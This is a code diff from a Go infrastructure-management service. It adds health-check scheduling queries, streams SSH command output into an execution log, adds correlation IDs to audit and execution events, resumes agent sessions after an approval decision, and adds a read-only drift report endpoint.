Tags []string
|
||||
EditedBy string
|
||||
VersionAt time.Time
|
||||
RevisedAt time.Time
|
||||
}
|
||||
|
||||
type Ledger struct {
|
||||
@@ -350,6 +380,8 @@ type RelationshipType struct {
|
||||
Cardinality string
|
||||
Description *string
|
||||
CreatedAt time.Time
|
||||
// Which end of this edge depends on the other. forward = target depends on source. backward = source depends on target. none = no runtime dependency. Drives blast_radius().
|
||||
BlastDirection string
|
||||
}
|
||||
|
||||
type RiskClass struct {
|
||||
@@ -366,18 +398,19 @@ type SeedVersion struct {
|
||||
}
|
||||
|
||||
type SessionPlanStep struct {
|
||||
ID uuid.UUID
|
||||
SessionID uuid.UUID
|
||||
Seq int32
|
||||
Title string
|
||||
Detail string
|
||||
Status string
|
||||
ExecutionID *uuid.UUID
|
||||
TargetSlug *string
|
||||
StartedAt *time.Time
|
||||
FinishedAt *time.Time
|
||||
CreatedAt time.Time
|
||||
Generation int32
|
||||
ID uuid.UUID
|
||||
SessionID uuid.UUID
|
||||
Seq int32
|
||||
Title string
|
||||
Detail string
|
||||
Status string
|
||||
ExecutionID *uuid.UUID
|
||||
TargetSlug *string
|
||||
StartedAt *time.Time
|
||||
FinishedAt *time.Time
|
||||
CreatedAt time.Time
|
||||
Generation int32
|
||||
ReplacedReason *string
|
||||
}
|
||||
|
||||
type SessionQuestion struct {
|
||||
|
||||
@@ -30,7 +30,7 @@ func (q *Queries) GetLifecycleForType(ctx context.Context, name string) (Lifecyc
|
||||
}
|
||||
|
||||
const listEntityTypes = `-- name: ListEntityTypes :many
|
||||
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at FROM entity_types ORDER BY name
|
||||
SELECT name, parent_type, is_abstract, domain, layer, description, lifecycle_id, attribute_schema, schema_version, status, created_at, updated_at, monitoring_spec FROM entity_types ORDER BY name
|
||||
`
|
||||
|
||||
func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
||||
@@ -55,6 +55,7 @@ func (q *Queries) ListEntityTypes(ctx context.Context) ([]EntityType, error) {
|
||||
&i.Status,
|
||||
&i.CreatedAt,
|
||||
&i.UpdatedAt,
|
||||
&i.MonitoringSpec,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -98,7 +99,7 @@ func (q *Queries) ListLifecycleDefs(ctx context.Context) ([]LifecycleDef, error)
|
||||
}
|
||||
|
||||
const listRelationshipTypes = `-- name: ListRelationshipTypes :many
|
||||
SELECT name, inverse, source_type, target_type, cardinality, description, created_at FROM relationship_types ORDER BY name
|
||||
SELECT name, inverse, source_type, target_type, cardinality, description, created_at, blast_direction FROM relationship_types ORDER BY name
|
||||
`
|
||||
|
||||
func (q *Queries) ListRelationshipTypes(ctx context.Context) ([]RelationshipType, error) {
|
||||
@@ -118,6 +119,7 @@ func (q *Queries) ListRelationshipTypes(ctx context.Context) ([]RelationshipType
|
||||
&i.Cardinality,
|
||||
&i.Description,
|
||||
&i.CreatedAt,
|
||||
&i.BlastDirection,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -51,7 +51,7 @@ func (q *Queries) GetAutonomySetting(ctx context.Context, key string) (string, e
|
||||
}
|
||||
|
||||
const getCheckDef = `-- name: GetCheckDef :one
|
||||
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at FROM check_defs WHERE entity_id = $1
|
||||
SELECT entity_id, target_id, target_type, kind, config, interval_s, timeout_s, zone, enabled, updated_at, last_run_at, last_health FROM check_defs WHERE entity_id = $1
|
||||
`
|
||||
|
||||
func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef, error) {
|
||||
@@ -68,6 +68,8 @@ func (q *Queries) GetCheckDef(ctx context.Context, entityID uuid.UUID) (CheckDef
|
||||
&i.Zone,
|
||||
&i.Enabled,
|
||||
&i.UpdatedAt,
|
||||
&i.LastRunAt,
|
||||
&i.LastHealth,
|
||||
)
|
||||
return i, err
|
||||
}
|
||||
@@ -351,8 +353,8 @@ func (q *Queries) InsertApproval(ctx context.Context, arg InsertApprovalParams)
|
||||
|
||||
const insertAuditEntry = `-- name: InsertAuditEntry :exec
|
||||
INSERT INTO audit_log (actor_type, actor_id, action, entity_id, method, path,
|
||||
status_code, detail, source_ip, correlation_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)
|
||||
status_code, detail, source_ip, correlation_id, session_id)
|
||||
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)
|
||||
`
|
||||
|
||||
type InsertAuditEntryParams struct {
|
||||
@@ -366,6 +368,7 @@ type InsertAuditEntryParams struct {
|
||||
Detail []byte
|
||||
SourceIp *string
|
||||
CorrelationID *string
|
||||
SessionID *uuid.UUID
|
||||
}
|
||||
|
||||
func (q *Queries) InsertAuditEntry(ctx context.Context, arg InsertAuditEntryParams) error {
|
||||
@@ -380,6 +383,7 @@ func (q *Queries) InsertAuditEntry(ctx context.Context, arg InsertAuditEntryPara
|
||||
arg.Detail,
|
||||
arg.SourceIp,
|
||||
arg.CorrelationID,
|
||||
arg.SessionID,
|
||||
)
|
||||
return err
|
||||
}
|
||||
@@ -694,7 +698,11 @@ SELECT cd.entity_id, cd.target_id, cd.target_type, cd.kind, cd.config,
|
||||
e.slug AS entity_slug
|
||||
FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.entity_id
|
||||
LEFT JOIN entities tgt ON tgt.id = cd.target_id
|
||||
WHERE cd.enabled = true
|
||||
AND (tgt.id IS NULL OR tgt.state IS NULL OR tgt.state NOT IN ('deprecated', 'destroyed'))
|
||||
AND (cd.last_run_at IS NULL
|
||||
OR cd.last_run_at <= now() - make_interval(secs => cd.interval_s))
|
||||
`
|
||||
|
||||
type ListEnabledCheckDefsRow struct {
|
||||
@@ -714,6 +722,9 @@ type ListEnabledCheckDefsRow struct {
|
||||
// =====================================================================
|
||||
// Phase 3 queries
|
||||
// =====================================================================
|
||||
// Enabled AND due. interval_s used to be selected but never filtered on, so
|
||||
// every check ran on every 30s pass and the declared intervals meant nothing.
|
||||
// NULL last_run_at = never run = due now.
|
||||
func (q *Queries) ListEnabledCheckDefs(ctx context.Context) ([]ListEnabledCheckDefsRow, error) {
|
||||
rows, err := q.db.Query(ctx, listEnabledCheckDefs)
|
||||
if err != nil {
|
||||
@@ -1126,6 +1137,20 @@ func (q *Queries) ListSkills(ctx context.Context, status *string) ([]Skill, erro
|
||||
return items, nil
|
||||
}
|
||||
|
||||
const markCheckRun = `-- name: MarkCheckRun :exec
|
||||
UPDATE check_defs SET last_run_at = now(), last_health = $2 WHERE entity_id = $1
|
||||
`
|
||||
|
||||
type MarkCheckRunParams struct {
|
||||
EntityID uuid.UUID
|
||||
LastHealth *string
|
||||
}
|
||||
|
||||
func (q *Queries) MarkCheckRun(ctx context.Context, arg MarkCheckRunParams) error {
|
||||
_, err := q.db.Exec(ctx, markCheckRun, arg.EntityID, arg.LastHealth)
|
||||
return err
|
||||
}
|
||||
|
||||
const putIdempotentResponse = `-- name: PutIdempotentResponse :exec
|
||||
INSERT INTO idempotency_keys (actor, key, request_hash, response_code, response_body)
|
||||
VALUES ($1, $2, $3, $4, $5)
|
||||
@@ -1447,3 +1472,25 @@ func (q *Queries) UpsertSignal(ctx context.Context, arg UpsertSignalParams) (Sig
|
||||
)
|
||||
return i, err
|
||||
}
|
||||
|
||||
const worstHealthForTarget = `-- name: WorstHealthForTarget :one
|
||||
SELECT COALESCE(
|
||||
(SELECT last_health FROM check_defs
|
||||
WHERE enabled AND target_id = $1 AND last_health IS NOT NULL
|
||||
ORDER BY CASE last_health
|
||||
WHEN 'down' THEN 0 WHEN 'degraded' THEN 1 WHEN 'stale' THEN 2
|
||||
WHEN 'unknown' THEN 3 ELSE 4 END
|
||||
LIMIT 1),
|
||||
'unknown')::text AS health
|
||||
`
|
||||
|
||||
// An entity is as healthy as its unhealthiest check. Checks that have not run
|
||||
// yet (last_health IS NULL) are ignored rather than counted as unknown, so a
|
||||
// newly added check does not drag a known-good entity down before it has
|
||||
// produced a verdict.
|
||||
func (q *Queries) WorstHealthForTarget(ctx context.Context, targetID *uuid.UUID) (string, error) {
|
||||
row := q.db.QueryRow(ctx, worstHealthForTarget, targetID)
|
||||
var health string
|
||||
err := row.Scan(&health)
|
||||
return health, err
|
||||
}
|
||||
|
||||
@@ -19,7 +19,8 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
||||
}
|
||||
|
||||
rows, err := tx.Query(ctx,
|
||||
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,'')
|
||||
`SELECT name, COALESCE(parent_type,''), is_abstract, COALESCE(lifecycle_id,''),
|
||||
layer, monitoring_spec
|
||||
FROM entity_types`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("load entity_types: %w", err)
|
||||
@@ -27,10 +28,16 @@ func LoadTypeTree(ctx context.Context, tx pgx.Tx) (*ontology.TypeTree, error) {
|
||||
for rows.Next() {
|
||||
var name string
|
||||
var info ontology.TypeInfo
|
||||
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID); err != nil {
|
||||
// NULL monitoring_spec means the type declared nothing; '[]' means it
|
||||
// declared "explicitly unmonitorable". Scanning through a pointer is
|
||||
// what keeps those two apart — see ontology.TypeTree.Monitoring.
|
||||
var monitoring *[]string
|
||||
if err := rows.Scan(&name, &info.Parent, &info.IsAbstract, &info.LifecycleID,
|
||||
&info.Layer, &monitoring); err != nil {
|
||||
rows.Close()
|
||||
return nil, err
|
||||
}
|
||||
info.Monitoring = monitoring
|
||||
t.Types[name] = info
|
||||
}
|
||||
rows.Close()
|
||||
|
||||
135
internal/execlog/execlog.go
Normal file
135
internal/execlog/execlog.go
Normal file
@@ -0,0 +1,135 @@
|
||||
// Package execlog persists incremental command output for an execution and
|
||||
// announces it on the event stream.
|
||||
//
|
||||
// It exists as its own package because both SSH execution paths need it —
|
||||
// internal/mcp (the agent's auto-run windows) and internal/httpapi (the
|
||||
// post-approval actuator). Those two already carry near-identical copies of
|
||||
// sshExec, and every bug found in this area so far has been a case of the two
|
||||
// copies drifting apart; one shared sink is the cheap way not to repeat that.
|
||||
package execlog
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// eventInterval throttles execution.output events. Chunks are persisted as
|
||||
// they arrive, but a chatty command (apt, a long build) can produce hundreds
|
||||
// per second and the SSE broker drops events for slow subscribers — flooding
|
||||
// it would push out the signal.* and approval.* events that actually need to
|
||||
// arrive. The event is only a "there is more output" ping; subscribers re-read
|
||||
// the rows.
|
||||
const eventInterval = time.Second
|
||||
|
||||
// Sink receives output chunks as they arrive from a remote command.
|
||||
type Sink func(stream string, chunk []byte)
|
||||
|
||||
// New returns a Sink that writes chunks to execution_logs and emits a
|
||||
// throttled execution.output event, plus a Flush to call when the command
|
||||
// finishes.
|
||||
//
|
||||
// The returned Sink is safe for concurrent use: stdout and stderr are written
|
||||
// from separate goroutines.
|
||||
func New(ctx context.Context, pool *db.Pool, execID uuid.UUID, correlationID string) (Sink, func()) {
|
||||
var (
|
||||
mu sync.Mutex
|
||||
seq int
|
||||
lastEvent time.Time
|
||||
pending bool
|
||||
)
|
||||
|
||||
emit := func() {
|
||||
if err := observability.Event(ctx, sqlcgen.New(pool), "execution.output", &execID,
|
||||
"info", "actuator", correlationID, map[string]any{"execution_id": execID.String()}); err != nil {
|
||||
slog.Debug("execlog: emit output event", "error", err, "execution_id", execID)
|
||||
}
|
||||
}
|
||||
|
||||
sink := func(stream string, chunk []byte) {
|
||||
if len(chunk) == 0 {
|
||||
return
|
||||
}
|
||||
mu.Lock()
|
||||
seq++
|
||||
n := seq
|
||||
mu.Unlock()
|
||||
|
||||
// A failed log write must never fail the command: this is observability,
|
||||
// and the authoritative output still lands in executions.result at the
|
||||
// end. Log and carry on.
|
||||
if _, err := pool.Exec(ctx,
|
||||
`INSERT INTO execution_logs (execution_id, seq, stream, chunk)
|
||||
VALUES ($1, $2, $3, $4)`,
|
||||
execID, n, stream, string(chunk)); err != nil {
|
||||
slog.Debug("execlog: persist chunk", "error", err, "execution_id", execID)
|
||||
return
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
due := time.Since(lastEvent) >= eventInterval
|
||||
if due {
|
||||
lastEvent = time.Now()
|
||||
pending = false
|
||||
} else {
|
||||
pending = true
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
if due {
|
||||
emit()
|
||||
}
|
||||
}
|
||||
|
||||
// Flush emits a final event when output arrived inside the throttle window,
|
||||
// so the last few lines of a short command are not left unannounced.
|
||||
flush := func() {
|
||||
mu.Lock()
|
||||
due := pending
|
||||
pending = false
|
||||
mu.Unlock()
|
||||
if due {
|
||||
emit()
|
||||
}
|
||||
}
|
||||
|
||||
return sink, flush
|
||||
}
|
||||
|
||||
// Read returns an execution's persisted output in order.
|
||||
func Read(ctx context.Context, pool *db.Pool, execID uuid.UUID, limit int) ([]Chunk, error) {
|
||||
if limit <= 0 {
|
||||
limit = 1000
|
||||
}
|
||||
rows, err := pool.Query(ctx,
|
||||
`SELECT seq, stream, chunk, ts FROM execution_logs
|
||||
WHERE execution_id = $1 ORDER BY seq LIMIT $2`, execID, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []Chunk
|
||||
for rows.Next() {
|
||||
var c Chunk
|
||||
if err := rows.Scan(&c.Seq, &c.Stream, &c.Chunk, &c.TS); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, c)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// Chunk is one persisted slice of command output.
|
||||
type Chunk struct {
|
||||
Seq int `json:"seq"`
|
||||
Stream string `json:"stream"`
|
||||
Chunk string `json:"chunk"`
|
||||
TS time.Time `json:"ts"`
|
||||
}
|
||||
@@ -1,6 +1,7 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
@@ -9,10 +10,12 @@ import (
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
"golang.org/x/crypto/ssh"
|
||||
@@ -71,7 +74,35 @@ func initSSH() {
|
||||
// report. Generous enough for a real apt/docker install; not infinite.
|
||||
const sshExecTimeout = 10 * time.Minute
|
||||
|
||||
// streamWriter buffers everything it is given while forwarding each write to a
|
||||
// sink. One on session.Stdout and another sharing the same buffer on
|
||||
// session.Stderr reproduces CombinedOutput's interleaving in the order the
|
||||
// remote end produced it. Mirrors the twin in internal/mcp/server.go.
|
||||
type streamWriter struct {
|
||||
mu *sync.Mutex
|
||||
buf *bytes.Buffer
|
||||
stream string
|
||||
sink execlog.Sink
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
w.mu.Lock()
|
||||
w.buf.Write(p)
|
||||
w.mu.Unlock()
|
||||
if w.sink != nil {
|
||||
// Copy: the ssh library reuses p once Write returns.
|
||||
w.sink(w.stream, append([]byte(nil), p...))
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
return sshExecStream(ctx, host, user, command, nil)
|
||||
}
|
||||
|
||||
// sshExecStream runs a command and reports its combined output, forwarding
|
||||
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||
initSSH()
|
||||
if len(_sshKey) == 0 {
|
||||
return "", fmt.Errorf("no SSH key available")
|
||||
@@ -105,50 +136,62 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
type result struct {
|
||||
out []byte
|
||||
err error
|
||||
var (
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
)
|
||||
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||
|
||||
collected := func() string {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return strings.TrimSpace(buf.String())
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
// See internal/mcp/server.go's sshExec for why this recovers rather
|
||||
// than letting a rare SSH-library panic crash the whole api process.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||
}
|
||||
}()
|
||||
out, err := session.CombinedOutput(command)
|
||||
done <- result{out, err}
|
||||
// Run rather than CombinedOutput so the assigned writers are used;
|
||||
// Run returns only after both streams are fully drained.
|
||||
done <- session.Run(command)
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
text := strings.TrimSpace(string(r.out))
|
||||
case err := <-done:
|
||||
text := collected()
|
||||
// A non-zero exit MUST surface as an error. The previous guard only
|
||||
// errored when there was no output, so a `pct create` that printed
|
||||
// "CT 132 already exists" and exited non-zero was reported as
|
||||
// success — the execution was marked completed though nothing was
|
||||
// provisioned.
|
||||
if r.err != nil {
|
||||
if err != nil {
|
||||
if text != "" {
|
||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||
return text, fmt.Errorf("%w: %s", err, text)
|
||||
}
|
||||
return text, fmt.Errorf("exec: %w", r.err)
|
||||
return text, fmt.Errorf("exec: %w", err)
|
||||
}
|
||||
return text, nil
|
||||
case <-time.After(sshExecTimeout):
|
||||
// Close the session/client to hang up the remote side; the
|
||||
// goroutine above will eventually exit once that unblocks
|
||||
// CombinedOutput, but we don't wait for it — the caller needs an
|
||||
// answer now, not an indefinite hang.
|
||||
// goroutine above will eventually exit once that unblocks Run, but we
|
||||
// don't wait for it — the caller needs an answer now, not an
|
||||
// indefinite hang.
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
// Return what arrived before it hung, rather than "". A provisioning
|
||||
// command that stalls halfway is precisely when its output matters.
|
||||
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
case <-ctx.Done():
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", ctx.Err()
|
||||
return collected(), ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -231,7 +274,16 @@ func emitExecutionEvent(ctx context.Context, pool *db.Pool, execID uuid.UUID, st
|
||||
if status == "failed" {
|
||||
severity = "warning"
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", "", detail)
|
||||
// The correlation id was hardcoded to "", so execution events could not be
|
||||
// tied back to the session that caused them — the one join you want when
|
||||
// asking "what did this agent turn actually do?". It is already on the
|
||||
// execution row; read it rather than threading it through eleven callers.
|
||||
var correlationID string
|
||||
if err := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); err != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(pool), "execution."+status, &execID, severity, "actuator", correlationID, detail)
|
||||
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||
closePlanStepForExecution(ctx, pool, execID, status)
|
||||
}
|
||||
@@ -280,6 +332,29 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
action, params := actionStr[:idx], actionStr[idx+1:]
|
||||
|
||||
startedAt := time.Now()
|
||||
// Persist started_at now, not at the end. It was captured here but only
|
||||
// written in the terminal UPDATE, so a running execution reported
|
||||
// started_at = NULL for its entire life — the UI could not show how long
|
||||
// anything had been going, which is exactly when you want to know.
|
||||
if _, err := pool.Exec(ctx,
|
||||
`UPDATE executions SET status = 'running', started_at = $2 WHERE entity_id = $1`,
|
||||
execID, startedAt); err != nil {
|
||||
slog.Error("httpapi: mark execution running", "error", err, "execution_id", execID)
|
||||
}
|
||||
|
||||
// Stream output for the actions whose output an operator actually watches:
|
||||
// a long apt upgrade, a pct create, an arbitrary approved `run`. The small
|
||||
// internal lookups further down (listing template cache, pvesh nextid) stay
|
||||
// unstreamed — they are plumbing, and logging them would bury the command
|
||||
// the operator approved.
|
||||
var correlationID string
|
||||
if qerr := pool.QueryRow(ctx,
|
||||
`SELECT correlation_id FROM executions WHERE entity_id = $1`, execID).Scan(&correlationID); qerr != nil {
|
||||
correlationID = ""
|
||||
}
|
||||
sink, flushLogs := execlog.New(ctx, pool, execID, correlationID)
|
||||
defer flushLogs()
|
||||
|
||||
var output, cmd string
|
||||
|
||||
switch action {
|
||||
@@ -295,30 +370,30 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
default:
|
||||
cmd = fmt.Sprintf("systemctl %s %s 2>&1", params, svc)
|
||||
}
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
case "apt_upgrade":
|
||||
svc := strings.TrimPrefix(targetSlug, "lxc:")
|
||||
cmd = fmt.Sprintf("apt update -qq 2>&1 >/dev/null && apt upgrade -y -qq 2>&1; echo '---'; systemctl is-active %s || true", svc)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
case "pct_create":
|
||||
var cfg struct {
|
||||
VMID int `json:"vmid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Cores int `json:"cores"`
|
||||
Memory int `json:"memory"`
|
||||
DiskGB int `json:"disk_gb"`
|
||||
IP string `json:"ip"`
|
||||
GW string `json:"gw"`
|
||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||
Storage string `json:"storage"`
|
||||
Template string `json:"template"`
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
Mounts []string `json:"mounts"`
|
||||
Nameserver string `json:"nameserver"`
|
||||
Searchdomain string `json:"searchdomain"`
|
||||
VMID int `json:"vmid"`
|
||||
Hostname string `json:"hostname"`
|
||||
Cores int `json:"cores"`
|
||||
Memory int `json:"memory"`
|
||||
DiskGB int `json:"disk_gb"`
|
||||
IP string `json:"ip"`
|
||||
GW string `json:"gw"`
|
||||
Bridge string `json:"bridge"` // e.g. vmbr0/vmbr1 — which bridge actually reaches the target subnet on this host varies per host, don't assume vmbr0
|
||||
Storage string `json:"storage"`
|
||||
Template string `json:"template"`
|
||||
Privileged flexBool `json:"privileged"`
|
||||
Nesting flexBool `json:"nesting"`
|
||||
Mounts []string `json:"mounts"`
|
||||
Nameserver string `json:"nameserver"`
|
||||
Searchdomain string `json:"searchdomain"`
|
||||
// No services/post_install here anymore — pct_create is atomic
|
||||
// (create + start + register only). Installing packages and
|
||||
// running setup scripts is the agent's job via follow-up `run`
|
||||
@@ -504,7 +579,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
}
|
||||
|
||||
slog.Info("httpapi: pct_create running", "vmid", cfg.VMID, "hostname", cfg.Hostname, "cmd", createCmd)
|
||||
output, err = sshExec(ctx, host, user, createCmd)
|
||||
output, err = sshExecStream(ctx, host, user, createCmd, sink)
|
||||
|
||||
// pct_create is now DELIBERATELY ATOMIC: create + start + register,
|
||||
// nothing else. It used to also run apt installs and a post_install
|
||||
@@ -579,7 +654,7 @@ func executeApprovedAction(ctx context.Context, pool *db.Pool, execID uuid.UUID,
|
||||
return
|
||||
}
|
||||
cmd = wrap(cfg.Command)
|
||||
output, err = sshExec(ctx, host, user, cmd)
|
||||
output, err = sshExecStream(ctx, host, user, cmd, sink)
|
||||
|
||||
default:
|
||||
slog.Error("httpapi: unknown gated action for approved execution", "action", action, "execution_id", execID)
|
||||
|
||||
@@ -89,6 +89,7 @@ func (s *Server) CreateApprovalRule(ctx context.Context, req gen.CreateApprovalR
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "create",
|
||||
&id, "POST", "/api/v1/policy/approval-rules", "",
|
||||
nil,
|
||||
map[string]any{"action": req.Body.Action, "risk_class": req.Body.RiskClass}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -148,6 +149,7 @@ func (s *Server) PatchApprovalRule(ctx context.Context, req gen.PatchApprovalRul
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||
&id, "PATCH", "/api/v1/policy/approval-rules/"+req.Id, "",
|
||||
nil,
|
||||
map[string]any{"action": req.Body.Action}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
@@ -154,6 +154,7 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
||||
|
||||
if auditErr := observability.Audit(ctx, q, actorType, actor, "decide",
|
||||
&id, "POST", "/api/v1/approvals/"+req.Id+"/decision", "",
|
||||
nil,
|
||||
map[string]any{"decision": status}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
@@ -229,6 +230,33 @@ func (s *Server) DecideApproval(ctx context.Context, req gen.DecideApprovalReque
|
||||
_, _ = tx.Exec(ctx, `UPDATE executions SET status = $2, completed_at = now() WHERE approval_id = $1 AND status = 'pending_approval'`, id, status)
|
||||
}
|
||||
|
||||
// If this execution belongs to a nomos session, flip it out of
|
||||
// awaiting_input — the counterpart to classifyAndGate flipping it IN
|
||||
// the moment the approval was created (internal/mcp/server.go's
|
||||
// markSessionAwaitingApproval). Runs for all three decisions (approve/
|
||||
// deny/revoke): each one is an operator answer to "what do I do about
|
||||
// this?", same as answerQuestion's unconditional resume-to-executing
|
||||
// (cmd/nomos/store.go) for a session_questions answer.
|
||||
var awaitingSessionID string
|
||||
_ = tx.QueryRow(ctx, `
|
||||
SELECT pe.session_id FROM nomos_plan_executions pe
|
||||
JOIN executions ex ON ex.entity_id = pe.execution_id
|
||||
WHERE ex.approval_id = $1
|
||||
LIMIT 1`, id).Scan(&awaitingSessionID)
|
||||
if awaitingSessionID != "" {
|
||||
if rtag, rerr := tx.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = 'executing', last_active_at = now()
|
||||
WHERE id = $1 AND status = 'awaiting_input'`, awaitingSessionID); rerr == nil && rtag.RowsAffected() > 0 {
|
||||
var taskEntID *uuid.UUID
|
||||
var e uuid.UUID
|
||||
if qerr := tx.QueryRow(ctx, `SELECT entity_id FROM agent_sessions WHERE id = $1`, awaitingSessionID).Scan(&e); qerr == nil && e != uuid.Nil {
|
||||
taskEntID = &e
|
||||
}
|
||||
_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
|
||||
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
20
internal/httpapi/audit.go
Normal file
20
internal/httpapi/audit.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/dtoro/oikos/internal/audit"
|
||||
)
|
||||
|
||||
// serveAuditDrift returns a read-only DB-side drift report: orphan check
|
||||
// entities, checks on retired targets, probes stuck down/unknown, unmonitored
|
||||
// declared types, and dangling edges. Companion to the knowledge-graph-audit
|
||||
// skill. Live-infra discovery (pct/docker/certs) is a follow-up.
|
||||
func (s *Server) serveAuditDrift(w http.ResponseWriter, req *http.Request) {
|
||||
findings, summary := audit.Report(req.Context(), s.pool)
|
||||
writeJSON(w, map[string]any{
|
||||
"findings": findings,
|
||||
"summary": summary,
|
||||
"note": "read-only DB drift report; live-infra discovery (pct/docker/certs) is a follow-up",
|
||||
})
|
||||
}
|
||||
@@ -81,6 +81,7 @@ func (s *Server) PatchAutonomySettings(ctx context.Context, req gen.PatchAutonom
|
||||
actorType, actor := actorInfo(ctx)
|
||||
if auditErr := observability.Audit(ctx, sqlcgen.New(tx), actorType, actor, "patch",
|
||||
nil, "PATCH", "/api/v1/policy/autonomy", "",
|
||||
nil,
|
||||
map[string]any{"keys": keysOfMap(*req.Body)}); auditErr != nil {
|
||||
return nil, auditErr
|
||||
}
|
||||
|
||||
@@ -22,7 +22,7 @@ func (s *Server) ListChecks(ctx context.Context, req gen.ListChecksRequestObject
|
||||
SELECT cd.entity_id, e.slug, cd.kind,
|
||||
COALESCE(te.slug, '') AS target_slug, cd.target_type,
|
||||
cd.config, cd.interval_s, cd.timeout_s, cd.zone, cd.enabled,
|
||||
e.version
|
||||
e.version, cd.last_health, cd.last_run_at
|
||||
FROM check_defs cd
|
||||
